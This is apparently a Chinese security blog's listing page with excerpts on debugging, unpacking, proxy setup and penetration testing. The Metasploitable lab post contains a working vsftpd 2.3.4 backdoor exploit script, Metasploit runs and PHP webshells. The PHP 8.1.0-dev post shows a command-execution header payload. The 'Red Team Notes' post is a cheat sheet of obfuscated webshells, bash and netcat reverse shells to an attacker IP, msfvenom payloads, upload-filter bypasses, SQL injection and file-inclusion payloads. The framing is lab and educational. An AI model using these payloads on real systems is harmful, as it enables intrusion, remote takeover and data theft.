首页
实用工具
我的旅程
在线壁纸
更多
✒️ 问题反馈
📦 文章统计
🌍 国内镜像
🎬 次元视界
📒 流水账本
🎨 在线 PS
推荐
🕵️ 开源情报
🌆 图片压缩
🍭 资产清洗
💡 我的作品
👤 关于站长
⚔️ 次 元 剑
搜索
1
【工具分享】逆向工具箱 - 次元剑
89,542 阅读
2
【技术分享】PE文件结构分析 ( RVA转FOA )
7,350 阅读
3
【技术分享】NASM x86 Assembly Language
5,982 阅读
4
【技术分享】CK竞技之王游戏辅助制作
3,725 阅读
5
【每日随记】天涯明月刀无限飞修改思路
2,816 阅读
技术分享
CTF解题
英语笔记
数学笔记
网络通信
每日随记
攻防技术
工具分享
Search
标签搜索
Windows
Web安全
Python3
Linux
逆向工程
CTF
红队技术
人工智能
C/C++
黑客工具
Go
密码学
二进制安全
数学
漏洞挖掘
Android
eNSP
渗透测试
蓝队技术
黑客大会
发光的神
累计撰写
160
篇文章
累计收到
103
条评论
首页
栏目
技术分享
CTF解题
英语笔记
数学笔记
网络通信
每日随记
攻防技术
工具分享
页面
实用工具
我的旅程
在线壁纸
✒️ 问题反馈
📦 文章统计
🌍 国内镜像
🎬 次元视界
📒 流水账本
🎨 在线 PS
推荐
🕵️ 开源情报
🌆 图片压缩
🍭 资产清洗
💡 我的作品
👤 关于站长
⚔️ 次 元 剑
搜索到
63
篇与
的结果
2022-06-18
【技术分享】Windows开启SSH服务
下载 OpenSSHGithub 下载地址安装ssh服务下载好后解压,以管理员省份运行 cmd,进入 OpenSSH-Win64 目录,输入以下命令:// 安装ssh服务 powershell -ExecutionPolicy Bypass -File install-sshd.ps1 // 开放22号端口 netsh advfirewall firewall add rule name=sshd dir=in action=allow protocol=TCP localport=22 // 设置sshd开机自启 sc config sshd start= auto // 开启sshd服务 net start sshd// 查看是否开启22号端口 netstat -ano | findstr :22// 通过ssh连接目标主机 ssh 用户名@IP地址 // 例如: ssh kali@192.168.100.129
2022年06月18日
22 阅读
0 评论
3 点赞
2022-06-11
【技术分享】逆向破解手动脱壳篇
简介首先了解下什么是壳,可以理解程序的正常代码是放在壳里的,当运行程序的时候代码执行流程,是先经过壳最终执行正常代码,一般来说加了壳的程序等于没什么用,因为程序运行后依然会释放真正的代码,打个比方:运行程序那么在内存中就还原了正常代码。ESP 定律脱壳这里用压缩壳进行演示,以下是 upx、aspack 工具脱壳与手动脱壳步骤。工具脱壳 - UPX可以发现程序加了 upx 压缩壳,工具也提示可以用 upx -d 命令进行脱壳。upx -d main.exe手动脱壳 - UPX打开 x64dbg 动态调试工具导入程序,它会自动定位到程序的原始入口点(Original Entry Point, OEP),可以看到有个 pushad ,用来把所有通用寄存器的值压入堆栈,就是那8个通用寄存器 EAX,EBX ... ,现在用 esp 定律进行脱壳。运行 F8 快捷键,运行到 pushad 下面,这时候光 esp 有红色。右键 esp 栈顶指针寄存器,选择 "在内存窗口转到",注意左下角内存区域窗口。在这内存里下硬件访问断点,这里我选择了 字节 也可以是其他,只要下了就行。这个时候按 F9 运行,这个时候就断下来了,这个时候只需要按 F8 步过,一直往下就能找到。然后用 x64dbg 自带的插件,scylla 进行脱壳,可以发现脱出 upx1 变成 upx0 那么就已经成功了。手动脱壳 - Aspack可以发现已经加了 aspack 壳,这种压缩壳也是可以用 esp 定律进行脱壳。用以上同样的方式进行脱壳,脱压缩壳通用是完全没有问题的。UPX变异壳只要把 55 50 58 21 改为 2E 62 73 73 那么对应的 ASCII UPX! 变为 .bss, 再用 UPX -d 就无法进行脱壳,只要是名称都可以在里面抹除的,不会影响到程序正常运行。
2022年06月11日
82 阅读
0 评论
3 点赞
2022-05-06
【技术分享】GDB 程序动态调试
简介gdb 是一个用来调试 C 和 C++ 程序的强力调试器,除支持 c/c++ 语言外还支持 go、D、object-c、fortran 等语言,它使你能在程序运行时观察程序的内部结构和内存的使用情况。#include <stdio.h> int count = 0; void hint() { printf("The program is running\n"); } int main() { hint(); count = 1; printf("exit..."); return 0; }1.这里用C写了一个例子,编译后会执行main里面的代码段,依次输出 The program is running 和 exit... 然后结束程序。gcc test.c -g2.这里编译一下,在默认的编译模式下是不具备有调试的,一定要加-g参数,才能进行gdb动态调试。gdb a.out3.输入gdb加可执行文件,就可以进入调试内,接下来就要用到gdb内置语句进行操作了。break 断点b main // 函数断点 b /home/kali/Desktop/test.c:13 // 行数断点 b /home/kali/Desktop/test.c:13 if cnt==10 // 条件断点 b *0x400522 // 数据断点 b &变量名layout 可视化视图layout src1.可以通过可视化视图进行调试,类似windows x64dbg一样。run 运行1.r的时候在main函数内有很多个函数,这个时候就可以用s了它就会进入函数内部。r // 一直执行 run s // 步入 step n // 步过 next2.看是不是进入hint函数内部执行了,默认情况下,run 指令会一直执行程序,直到执行结束。如果程序中手动设置有断点,则 run 指令会执行程序至第一个断点处,start 指令会执行程序至 main() 主函数的起始位置,即在 main() 函数的第一行语句处停止执行(该行代码尚未执行)。kill 调试k // 结束当前调试1.当我们在调试中想退出dbug调试可以输入k,这样就退出了。info 查看info b // 显示断点 d 1 2 // 删除断点1.使用info b 可以查看我们下了哪些断点,使用d + 行数位置 可以将断点删除掉。continuewatch1.watch可以监视一旦变量发生变化就会停下来,这里我监视了一个全局变量count它是0到下面会被改变成1。info r // 查看通用寄存器断点调试break + 设置断点的行号 break n 在n行处设置断点 tbreak + 行号或函数名 tbreak n/func 设置临时断点,到达后被自动删除 break + filename + 行号 break main.c:10 用于在指定文件对应行设置断点 break + <0x...> break 0x3400a 用于在内存某一位置处暂停 break + 行号 + if + 条件 break 10 if i==3 用于设置条件断点,在循环中使用非常方便 info breakpoints/watchpoints [n] info break n表示断点编号,查看断点/观察点的情况 clear + 要清除的断点行号 clear 10 用于清除对应行的断点,要给出断点的行号,清除时GDB会给出提示 delete + 要清除的断点编号 delete 3 用于清除断点和自动显示的表达式的命令,要给出断点的编号,清除时GDB不会给出任何提示 disable/enable + 断点编号 disable 3 让所设断点暂时失效/使能,如果要让多个编号处的断点失效/使能,可将编号之间用空格隔开 awatch/watch + 变量 awatch/watch i 设置一个观察点,当变量被读出或写入时程序被暂停 rwatch + 变量 rwatch i 设置一个观察点,当变量被读出时,程序被暂停 catch 设置捕捉点来补捉程序运行时的一些事件。如:载入共享库(动态链接库)或是C++的异常 tcatch 只设置一次捕捉点,当程序停住以后,应点被自动删除数据命令display +表达式 display a 用于显示表达式的值,每当程序运行到断点处都会显示表达式的值 info display 用于显示当前所有要显示值的表达式的情况 delete + display 编号 delete 3 用于删除一个要显示值的表达式,被删除的表达式将不被显示 disable/enable + display 编号 disable/enable 3 使一个要显示值的表达式暂时失效/使能 undisplay + display 编号 undisplay 3 用于结束某个表达式值的显示 whatis + 变量 whatis i 显示某个表达式的数据类型 print(p) + 变量/表达式 p n 用于打印变量或表达式的值 set + 变量 = 变量值 set i = 3 改变程序中某个变量的值调试相关命令set args set args arg1 arg2 设置运行参数 show args show args 参看运行参数 set width + 数目 set width 70 设置GDB的行宽 cd + 工作目录 cd ../ 切换工作目录 run r/run 程序开始执行 step(s) s 进入式(会进入到所调用的子函数中)单步执行,进入函数的前提是,此函数被编译有debug信息 next(n) n 非进入式(不会进入到所调用的子函数中)单步执行 finish finish 一直运行到函数返回并打印函数返回时的堆栈地址和返回值及参数值等信息 until + 行数 u 3 运行到函数某一行 continue(c) c 执行到下一个断点或程序结束 return <返回值> return 5 改变程序流程,直接结束当前函数,并将指定值返回 call + 函数 call func 在当前位置执行所要运行的函数堆栈相关命令backtrace/bt bt 用来打印栈帧指针 frame frame 1 用于打印指定栈帧 info reg info reg 查看寄存器使用情况 info stack info stack 查看堆栈使用情况 up/down up/down 跳到上一层/下一层函数
2022年05月06日
52 阅读
0 评论
4 点赞
2022-02-26
【技术分享】Metasploitable 靶机漏洞复现
留言这里我就用kali进行操作,用什么操作系统渗透都是可以的,不要让系统限制了你发挥的能力,这里我用kali因为工具都是跟随系统的,不用自己安装比较方便点,有人就说脚本小子那我就想知道,你写的也是脚本有力气写脚本,还不如用别人写好的。浪费时间,难道说你写的脚本,比那些专业人士写的还要厉害? 不也就是重复造轮子,自己会写肯定好,还是要学会利用现有资源,重在思路。靶机介绍Metasploitable是一个虚拟靶机系统镜像,里面含有大量未被修复的安全漏洞,是主要用于MSF渗透测试的目标。它是基于Ubuntu的Linux虚拟机,兼容Vmware、VirtualBox等虚拟机系统。Metasploitable 靶场下载BEESCMS漏洞这个靶机是期末考试用到的,默认账号密码都是msfadmin,考试可没那么简单,已经把这个靶机默认的登录账号密码给改了,需要自己在上面找漏洞,这种靶机在网上其实有很多教程,这里我按照自己的思路再走一遍。1.先用arp-scan扫一遍自身网段的主机,这种方式用的是arp扫描,比ping好多了如果对方开了防火墙ping就凉凉,arp扫描屡试不爽。arp-scan -l // 扫描当前内网主机2.出结果了,是这个地址192.168.25.132,再进行nmap进行扫描下参数不过多解释可以自行研究,信息搜集完毕开始进行分析了,看到系统开了这么多个端口,每个端口都可以试试有对应的服务名称,可百度查阅是否有漏洞。nmap -T4 -sV 192.168.25.132 -p- > info.txt // 扫描并保存结果到文本3.考试的时候做的是这个web上的,考试流程是这样的:{timeline}{timeline-item color="#19be6b"}找到靶机ip地址和web网站(端口随机生成的){/timeline-item}{timeline-item color="#ed4014"}网站上找到后台登录界面{/timeline-item}{timeline-item color="#ed4014"}爆破后台账号密码(后台登录存在sql注入的){/timeline-item}{timeline-item color="#ed4014"}通过后台上传一句话木马{/timeline-item}{timeline-item color="#19be6b"}最终将系统提权(整体流程就是这么简单){/timeline-item}{/timeline}4.扫描下网站目录dirb http://192.168.25.132:41083/这个网址有点可疑,manage是管理的意思,到浏览器访问看下。5.找到了这里其实存在sql注入的,但考试要求进行爆破,用burpsuite抓包进行登录爆破,这里有点多余了,我已经知道账号密码了,admin和1234qwer 就直接就跳过。6.生成一句话木马,直接把一句话木马后缀,改成图片格式也是可以的,这里为了让它更像一张图片,直接在图片内嵌入了一句话,并不影响图片的显示。copy /b 图片路径 + 一句话木马路径 生成的名称 echo "<?php eval(@$_POST['cmd']);" >> 1.php// 一句话木马 <?php eval(@$_POST['cmd']);7.这里我就不用burpsuite,我安装的kali没带懒得安装,这里我就用Fiddler了,上传的时候拦截并把图片格式改为php修改绕过前端规则就行,这样一句话木马就到服务器里了,直接用菜刀或蚂剑连接就行了。8.连接成功,查看下权限不是root权限,开始提权下载提权源码。https://www.exploit-db.com/download/8572待更新...SQL注入1.找到登录后台在账号框输入单引号,随便输入一个密码再加验证码,点击登录。2.就会发现sql语法错误,这就是存在sql注入,经过测试发现只有账号那里存在sql注入。' an and d extractvalue(1,concat(0x7e,(select database()),0x7e))#3.经过尝试and也被过滤了,and用an and d代替,union用un union ion代替,select用selselectect代替。端口漏洞FTP登录密码已知,自己生成字典。账号密码useruserpostgrespostgresserviceservice21 22 23端口msfconsole -q # 启动msf search vsftpd_234 # 搜索21端口漏洞 use 0 # 选择漏洞序号 set rhosts 192.168.213.143 # 设置目标ip run # 执行CVE-2011-2523#!/usr/bin/python3 # CVE : CVE-2011-2523 # vsftp2.3.4 21端口笑脸漏洞 from telnetlib import Telnet import argparse import re from signal import signal, SIGINT from sys import exit def handler(signal_received, frame): print(' [+]Exiting...') exit(0) signal(SIGINT, handler) def main(): parser = argparse.ArgumentParser() parser.add_argument("host", help="input the host", type=str) args = parser.parse_args() host = args.host portFTP = 21 user = "USER nergal:)" password = "PASS pass" try: with Telnet(host, portFTP) as tn: tn.read_until(b"(vsFTPd 2.3.4)") tn.write(user.encode('ascii') + b"\n") tn.read_until(b"password.") tn.write(password.encode('ascii') + b"\n") with Telnet(host, 6200) as tn2: tn2.read_until(b"exit\n", timeout=1) tn2.write(b'python -c "import pty; pty.spawn(\'/bin/bash\')"\n') tn2.interact() except Exception as e: print(f"Error: {e}") if __name__ == "__main__": main()使用工具:hydra 暴力破解工具hydra -L user.txt -P pass.txt ftp://192.168.25.132 # ftp hydra -L user.txt -P pass.txt 192.168.25.132 ssh # ssh21、22、23 端口存在弱口令。80端口search php_cgi use 0 set rhost 192.168.72.134 run111端口search sunrpc_portmapper use 0 set rhost 192.168.213.143 run1099端口search java_rmi_server use 0 set rhost 192.168.213.143 run1524端口telnet 192.168.72.1343632端口search distcc_exec set payload payload/cmd/unix/bind_perl use 0 run6667 6697端口search ircd_3281_backdoor use 0 set payload cmd/unix/bind_perl # 选择payload set rhost 192.168.213.143 run1524端口利用telnet、nc连接1524端口3306端口mysql -h 192.168.56.129 -u rootmysql密码存在弱口令5900端口vncviewer 192.168.56.129 // 弱密码 password5900端口存在密码弱口令5432端口psql -h 192.168.56.129 -U postres // 弱密码 postres5432端口存在密码弱口令
2022年02月26日
68 阅读
0 评论
5 点赞
2022-02-22
【技术分享】Charles 雷电模拟器抓包配置
charles 配置charles 的代理设置 socks 按我图片的步骤进行设置。设置SSL代理捕获所有流量,要把IP和端口设置成任意。这样做的目的是确保能够完全捕获到所有的流量。点击 Help 选择 "Install Charles Root Certificate"(安装Charles根证书),给自己电脑上安装证书,根据我的图进行安装。保存证书,给雷电模拟器内的安卓手机将信任 Charles 证书。雷电模拟器设置雷电模拟器的网络连接方式,要开启桥接模式这样才能与本机同一网段,这样才能使用代理,我这里设置了静态IP(也可以是DHCP)。把导出的证书文件直接拖放到雷电模拟器窗口中。这样可以方便地将证书文件传输到模拟器内,然后到设置安装证书。cd /data/misc/user/0/cacerts-added/ mount -o remount,rw /system mv * /etc/security/cacerts/ mount -o remount,ro /system当安装好证书后,可以发现它只显示在用户信任的凭据中,为了解决一些抓取APK文件时断网的问题,可以通过MT管理器的终端执行以下命令将证书移动到系统级别。Postern 代理设置配置一下与本机的 charles 进行 socks5 代理连接。再配置一下 "配置规则",如图所示。这样就能够抓包了。
2022年02月22日
39 阅读
0 评论
2 点赞
2022-02-19
【技术分享】PHP漏洞 PHP/8.1.0-dev
简介PHP 8.1.0-dev 版本在 2021年3月28 日被植入后门,但是后门很快被发现并清除,当服务器php版本存在该后门,攻击者可以通过发送User-Agentt头来执行任意代码,php被植入后门也不属于漏洞,后门而已我们只是利用了别人植入的后门,能够对服务器进行操作。实验步骤1.通过这个有漏洞的靶机,进行演示前端给了个提示,先抓包分析下截获到的数据包发送到Repeater方便修改重发请求。2.发送一般发现响应有一个 X-Powered-By 表示网站是用什么技术开发的,它会泄漏开发语言版本号和框架等信息,拿着这个php版本信息进行百度了下,发现存在一个命令执行漏洞。User-Agentt:zerodiumsystem("ls /"); 3.在请求头添加以上这条命令然后发送请求,就可以远程执行系统命令。漏洞修复expose_php = Off // 隐藏php版本号 在php文件夹php.ini中修改或添加 server_tokens off; // 隐藏nginx版本号 在nginx文件夹nginx.conf中修改或添加 ServerTokens Prod // 隐藏apache版本号 在apache文件夹httpd.conf中修改或添加 ServerSignature Off1.最好的办法是换个php版本,为了安全起见建议隐藏服务器的版本和php的版本,以上是隐藏方法。
2022年02月19日
39 阅读
0 评论
4 点赞
2022-02-11
【技术分享】王者荣耀重复名原理
简介最近在玩CTF中,发现有一种叫零宽度字符的东西,"它是隐藏不显示的,也是不可打印的,也就是说这种字符用大多数程序或编辑器是看不到的",要是往里插入零宽度字符,我们肉眼是看不出来区别的。最常见的是零宽度空格,它是Unicode字符空格,就像如果在两个字母间加一个零宽度空格,该空格是不可见的,表面上两个字母还是挨在一起的。zero-width-lib在线加密 | Github网址 1.这个项目是用JavaScript写的,这种是带文字的隐写加密,可以用来发一些加密的通话别人也看不到异常。var text = "我喜欢你" text.length // 输出结果 27 var text1 = "我喜欢你" text1.length // 输出结果 4 text === text1 // 输出结果 false2.虽然看不到,但是字符长度是不一样text与text1也不是同一个字符串,只要把字替换成空格的零字符,随便加入或插入一个位置,就又是一个新的字符了,这样就实现了重名的效果。源码使用npm install zero-width-lib"type":"module"1.要有node环境这里我就不多说了,首先新建一个文件夹在里面创建 index.js 文件,然后在这里启动cmd下载第三方库,下载完然后记在 package.json 加入 "type":"module" 不然运行会报错的,然后把以下代码写到 index.js 文件里。import * as z from 'zero-width-lib'; const visble = 'hello world'; const hidden = 'I like you, but just like you'; const encoded = z.encode(visble, hidden); // 'h*********ello world' console.log(encoded) const decoded = z.decode(encoded); // 'inpired by @umpox' // console.log(decoded) // 3. extract ZWC from text const extracted = z.extract(encoded); const vis = extracted.vis; // 'hello world' const hid = extracted.hid; // '*********' console.log(vis,hid) // 4. escape from string matching const forbidden = 'forbidden'; const escaped = z.split(forbidden); // 'f*o*r*b*i*d*d*e*n*' console.log(escaped)2.然后运行一下 index.js 就可以生成结果,可以看到有一些空格不用管,直接全复制 粘贴下就可以看到效果了。
2022年02月11日
127 阅读
0 评论
13 点赞
2022-02-04
【技术分享】Red Team Notes
信息收集nmap -T4 -sS -Sv 192.168.1.100 -p- # 多线程端口扫描 dirb http://192.168.1.100 # 单线程目录扫描 dirb http://192.168.1.100 -X ".tar, .zip" -t 10 # 多线程目录文件扫描 curl -X 36.6.144.192:8089 http://www.baidu.com # 代理访问 goby fofa hunter # 简单的信息收集编码加解echo "actdream" | md5sum # 将字符串 "actdream" 转换为 MD5 哈希值 echo "actdream" | base64 # 将字符串 "actdream" 转换为 Base64 编码 echo "YWN0ZHJLYWOK" | base64 -d # 将 Base64 编码 "YWN0ZHJLYWOK" 解码 echo "%20%30%35" | xargs -d% echo # 将 URL 编码 "%20%30%35" 解码 cat 1.txt | xargs -d% echo # 处理包含多个 URL 编码的文本文件 hexdump -C 1.png # 查看图片文件 "1.png" 的十六进制表示 cat 1.txt | hexdump -ve '1/1 "%.2X"' # 将文本文件 "1.txt" 转换成十六进制格式输出字符匹配strings filepath | grep -E "flag1|flag2" # 多字符匹配,匹配包含"flag1"或"flag2"的字符串 ps aux | grep 'root.* ./a.out$' # 使用正则匹配,从头到尾匹配字符串 find / -name flag* # 匹配前缀为"flag"的文件或目录 (\d{1,3}\.){3}\d{1,3} # 匹配ip地址文件权限chmod +x filename # 给予文件可执行权限 chmod +r filename # 给予文件可读权限 chmod +w filename # 给予文件可写权限 chmod 755 filename # 给予执行、读权限,同时取消写权限 chmod 700 filename # 给予执行、读、写权限 chmod 777 filename # 给予最高权限 chmod 000 filename # 给予全部无权限 chmod -x filename # 取消文件可执行权限 chmod 6 filename # 给予可读、可写权限(去除文件小锁)压缩包破解zip2john flag.zip > 1.txt # 提取 zip 压缩包的哈希值 rar2john flag.zip > 1.txt # 提取 rar 压缩包的哈希值 john 1.txt # 使用 John the Ripper 计算压缩包的密码 john 1.txt --wordlist=dict.txt # 使用指定字典文件破解哈希值 crunch 4 4 0123456789 -o 1.txt # 生成四位数密码组合,保存到 1.txt木马wf绕过copy /b 1.jpg + 1.php 2.jpg # 复制并插入文件 echo "<?php eval(\$_POST['c']); ?>" >> 1.png # 在 PNG 文件末尾追加 PHP 代码执行 <?php fputs(fopen('shell.php', 'w'), '<?php eval($_POST["sh"]); ?>'); ?> # 写入一句话木马到 shell.php # REQUEST 提交支持 post get <?php system($_REQUEST["cmd"]); ?> # 使用系统命令执行 # ASP 一句话 <% eval request("cmd") %> # 使用 ASP 代码执行命令 # JSP 一句话 <% Runtime.getRuntime().exec(request.getParameter("cmd")); %> # 使用 JSP 执行命令 # base64 编码 system <?php $a = base64_decode("c3lzdGVt"); $a($_GET['a']); ?> # base64 解码并执行命令 # 字符拼接 <?php $a="e"."v"; $b="a"."l"; $c=$a.$b; $c($_POST['a']); # 拼接函数名并执行 <?php $str="a=eval"; parse_str($str); $a($_POST['a']); # 使用字符串拼接函数名 <?php $a = "eval"; $a(@$_POST['a']); # 使用字符串赋值函数名 ?>/* eval - 可利用执行系统命令 system() - 执行系统命令 passthru() - 执行系统命令并输出结果 exec() - 执行系统命令并返回结果 shell_exec() - 执行系统命令并返回结果 popen() - 打开一个进程来执行系统命令 proc_open() - 执行系统命令并返回进程资源 */反弹Shell<?php $binary_data = file_get_contents('1.exe'); echo bin2hex($binary_data); # 将二进制文件转换为十六进制 <?php $res_data = hex2bin('hex'); file_put_contents('1.exe', $res_data); # 还原为二进制程序 data = bytes.fromhex(open('1.hex', 'r').read()) # Python3 读取16进制数据 open('output', 'wb').write(data) # 还原为二进制可执行文件 weevely generate 208 1.php # 生成木马 weevely url password # 连接木马 bash -i >& /dev/tcp/192.168.213.141/888 0 >&1 # bash 反弹shell <?php $a = shell_exec($_GET['s']); echo "<pre>$a</pre>"; # 使用GET请求执行shell命令 <?php exec("bash -c 'bash -i >& /dev/tcp/192.168.213.141/888 0 >&1'"); # PHP反弹shell msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.213.141 LPORT=4444 -f exe > 1.exe # 生成Windows木马 msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.213.141 LPORT=4444 -f elf > 1.elf # 生成Linux木马 msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.213.141 LPORT=4444 -f raw > 1.php # 生成PHP木马 # msfconsole msfconsole -q # 启动metasploit框架 use exploit/multi/handler # 创建监听器 set payload php/meterpreter/reverse_tcp # 设置PHP payload set payload linux/x64/meterpreter/reverse_tcp # 设置Linux payload set payload windows/meterpreter_reverse_tcp # 设置Windows payload set lhost 192.168.213.141 # 设置反弹主机 set lport 4444 # 设置监听端口 show options # 查看选项 run # 启动监听 getsystem # Windows提权 nc -lvp 888 # 使用netcat监听端口 bash -i >& /dev/tcp/192.168.213.141/888 0 >&1 python -c 'import pty; pty.spawn("/bin/bash")' # 启动新的bash来增强交互 nc -lvp 888 > 1.txt # 接收文件 nc 192.168.213.133 888 < 1.txt # 传输文件 nc -e cmd 192.168.100.129 4444 # Windows 反弹shell nc -e /bin/bash 192.168.100.129 4444 # Linux 反弹shell nc -lvp 4444 # 接收反弹shell python3 -m http.server 80 # 启动Python HTTP服务(用于下载文件) php -S 192.168.213.132:80 # 启动PHP HTTP服务(用于下载文件) cat data.json | python -m json.tool # JSON格式化转换上传漏洞// 白名单绕过: X-Forwarded-For: 127.0.0.1 # 伪装请求源ip // 双后缀名绕过:xxx.phpphp MIME绕过:image/jpg // 空格绕过:xxx.jpg空格 .htaccess绕过:AddType application/x-httpd-php .jpg // 大小写绕过:phP PHP Php .user.ini绕过:auto_prepend_file=a.jpg auto_append_file=a.jpg // 文件头绕过:GIF89a 89504E47 FFD8FF 后缀:Php php2 php3 php4 php5 php6 php7 pht phtm phtml <scrip language="php">@eval($_POST['c']);<script> <?php eval($_POST['sh']); <? eval($_POST['sh']); # 去php头绕过 // 可利用执行函数 eval() system() exec() shell_exec() //(反引号也可以) passthru() pcntl_exec() popen() proc_open() create_function()SQL注入语句sqlmap -r 1.txt -dbs -batch sqlmap -r 1.txt -D test -tables -batch sqlmap -r 1.txt -D test -T note -columns -batch sqlmap -r 1.txt -D test -T note -C user,pass -batch # sqlmap工具 sqlmap -m 1.txt --batch # 批量注入 1' or '1' = '1 # 字符型绕过 0' union select 1,2,3 --+ 0' union select 1,version(), database() #堆叠注入 1'; show databases;# 显示数据库 1'; show tables;# 查看表名 1'; show columns from note# 查看表字段 id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='note' --+ # 查看字段 id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='fl4g' --+ # 查看字段 id=0' union select 1,group_concat(fllllag),3 from note.fl4g --+ # 查看字段内容代码加固$str = "Is your name O'reilly?"; echo addslashes($str); // 简单加反斜杠 // 输出结果:Is your name O\'reilly? $str = "Is y\our name O\\'reilly\\\?"; echo stripslashes($str); // 简单去除反斜杠 // 输出结果:Is your name O'reilly\? $str = "<script>alert('test')</script>"; echo htmlspecialchars($str); // XSS 简单防御 // 输出结果:<script>alert('test')</script> $str = "select * from users where user_id =1' and 1=1 #"; echo addslashes($str); // SQL注入简单防御 // 输出结果:select * from users where user_id =1\' and 1=1 #系统排查eventvwr.msc # 事件查看器,查看登录、注销、错误等事件 4624 登录成功 4625 登录失败 4634 注销成功 4647 用户启动注销 4672 使用管理员进行登录 4720 创建用户 # 文件时间排序排查,文件名称可疑排查 %UserProfile%\Recent # 最近操作 %temp% # 临时缓存 %appdata% # 应用数据目录 gpedit.msc # 组策略 systeminfo # 系统信息 services.msc # 应用服务 netstat -ano | findstr ES # 排查可疑网络连接 net user # 查看本地用户 net user Guest # 查看用户详细信息 lusrmgr.msc # 本地用户组 regedit # 注册表 msconfig # 打开启动项 taskschd.msc # 任务计划 # Linux 命令 /var/log/cron # 系统定时任务相关日志 /etc/rc.local /var/log/dmesg # 开机自检信息 /var/log/lastlog # 最后一次登录日志 /var/log/auth.log # 记录验证和授权 如SSH登录、su切换用户、sudo授权 /etc/crontab # 启动项 /etc/profile # 环境变量 cat /etc/passwd # 查看用户是否有可疑 cat /etc/passwd | grep x:0 # 新增的就可能存在 cat /etc/passwd | grep /bin/bash # 查看使用shell的用户 ls -l /proc/XXX/XXXX # 查看对应文件路径 ps –aux | grep pid # 查看pid对应的程序 top -p pid # 监控指定进程 userdel -r xp # 删除用户 并将/home目录下的user目录一并删除 grep -o "Failed password" /var/log/secure|uniq -c # 查看登录失败次数 history # 查看终端命令历史命令 stat /etc/passwd # 查看文件近期修改 ls -lt --time=ctime # 查看最近被修改过的文件 ls -lt --time=ctime /home/kali # 指定文件路径 crontab -l # 查看启动项 creontab -e # 编辑启动项 uname -r # 查看内核版本 rpm -qa | grep apache # 查看是否有这样的软件 ps -ef | grep apache # 查询apache 进程 service httpd restart # 重启httpd firewall-cmd --zone=public --add-port=80/tcp --permanent # 开放80端口 firewall-cmd --reload # 重启防火墙 firewall-cmd --list-ports # 显示运行通过端口 rpm -qa # 查询软件包 service mariadb status # 查看服务状态 service mariadb start # 启动服务 service mariadb restart # 重启服务 rpm -e openssh-server # 删除软件文件包含?file=data://text/plain,<?php system('ls'); // 使用PHP系统命令来列出文件列表 ?file=data://text/plain,<?php system('tac flag.php'); # 查看文件内容 ?file=data://text/plain,<?=system('tac flag*'); // 绕过后缀过滤查看所有以flag开头的文件内容 ?file=/var/log/nginx/access.log&2=system('ls /var/www/html');phpinfo(); // 访问日志和文件列表操作 ?file=/var/log/nginx/access.log&2=system('tac /var/www/html/fl0g.php');phpinfo(); // 查看 /var/www/html/fl0g.php 文件内容 程序特征码易语言按钮征码: 查找二进制字符串 FF25,看是否有很多 JMP 堆叠在一起,如果有则很可能是易语言程序。 FF 55 FC 5F 5E MFC类程序: 运行程序然后就 CTRL+F,查找特征代码: sub eax,0a 断下后 F7 跟进就会来到按钮事件代码处了!(如果没有 CALL,则跳过此处,即此处不为按钮事件) (或者不用 F7,直接 enter 回车跟入跳转,在 call 处下断点) Delphi BC++程序: 740E8BD38B83????????FF93???????? 万能断点: OD 选择查看->模块->USER32,在模块内查找二进制字符串,下断点后执行到断点,使用 alt+F9 回到用户代码。 F3A58BC883E103F3A4E8 条件断点: [ebp-4]!=0x4010AC 总结: MFC: sub eax,0a VC++6.0: sub eax,0a VB语言: 81 6C 24 易语言: FF 55 FC 5F 5E 或 (e-debug) 万能断点: F3 A5 8B C8 83 E1 03 F3 A4 E8 Z(User32 模块下断) Delphi: 74 0E 8B D3 8B 83 ?? ?? ?? ?? FF 93 ?? ?? ?? ?? 蓝屏保护特征码: 55 8B EC BB 06 00 00 00 蓝屏防御特征码: 55 8B EC 81 EC 14 00 00 00 68 0C 00 00 00 API函数断点追数据,比如断点 MessageBoxA 断下来了, 就按快捷键 ctrl + F9 返回,到 ret 再按 F8,一直往上追数据。{collapse}{collapse-item label="目录字典" close}.git .git/HEAD .git/index .git/config .git/description source source.php .idea/workspace.xml source.php.bak .source.php.bak source.php.swp README.MD README.md README .gitignore /db/db.mdb .svn .svn/wc.db .svn/entries user.php.bak .hg .DS_store WEB-INF/web.xml WEB-INF/src/ WEB-INF/classes WEB-INF/lib WEB-INF/database.propertie CVS/Root CVS/Entries .bzr/ %3f %3f~ .%3f.swp .%3f.swo .%3f.swn .%3f.swm .%3f.swl _viminfo .viminfo %3f~ %3f~1~ %3f~2~ %3f~3~ %3f.save %3f.save1 %3f.save2 %3f.save3 %3f.bak_Edietplus %3f.bak %3f.back phpinfo.php robots.txt .htaccess .bash_history .svn/ .git/ .index.php.swp index.php.swp index.php.bak .index.php~ index.php.bak_Edietplus index.php.~ index.php.~1~ index.php index.php~ index.phps index.php.rar index.php.zip index.php.7z index.php.tar.gz index.php.txt login.php register register.php test.php upload.php phpinfo.php t.php www.zip www.rar www.7z www.tar.gz www.tar web.zip web.rar web.zip web.7z web.tar.gz web.tar plus qq.txt log.txt wwwroot.rar web.rar dede admin edit Fckeditor ewebeditor bbs Editor manage shopadmin web_Fckeditor login webadmin admin/WebEditor admin/daili/webedit login/ database/ tmp/ manager/ manage/ web/ admin/ shopadmin/ wp-includes/ edit/ editor/ user/ users/ admin/ home/ test/ administrator/ houtai/ backdoor/ flag/ upload/ uploads/ download/ downloads/ manager/ root.zip root.rar wwwroot.zip wwwroot.rar backup.zip backup.rar .svn/entries .git/config .ds_store flag.php fl4g.php f1ag.php f14g.php admin.php 4dmin.php adm1n.php 4dm1n.php admin1.php admin2.php adminlogin.php administrator.php login.php register.php upload.php home.php log.php logs.php config.php member.php user.php users.php robots.php info.php phpinfo.php backdoor.php fm.php example.php mysql.bak a.sql b.sql db.sql bdb.sql ddb.sql users.sql mysql.sql dump.sql data.sql backup.sql backup.sql.gz backup.sql.bz2 backup.zip rss.xml crossdomain.xml 1.txt flag.txt /wp-config.php /configuration.php /sites/default/settings.php /config.php /config.inc.php /conf/_basic_config.php /config/site.php /system/config/default.php /framework/conf/config.php /mysite/_config.php /typo3conf/localconf.php /config/config_global.php /config/config_ucenter.php /lib /data/config.php /data/config.inc.php /includes/config.php /data/common.inc.php /caches/configs/database.php /caches/configs/system.php /include/config.inc.php /phpsso_server/caches/configs/database.php /phpsso_server/caches/configs/system.php 404.php index.html user/ 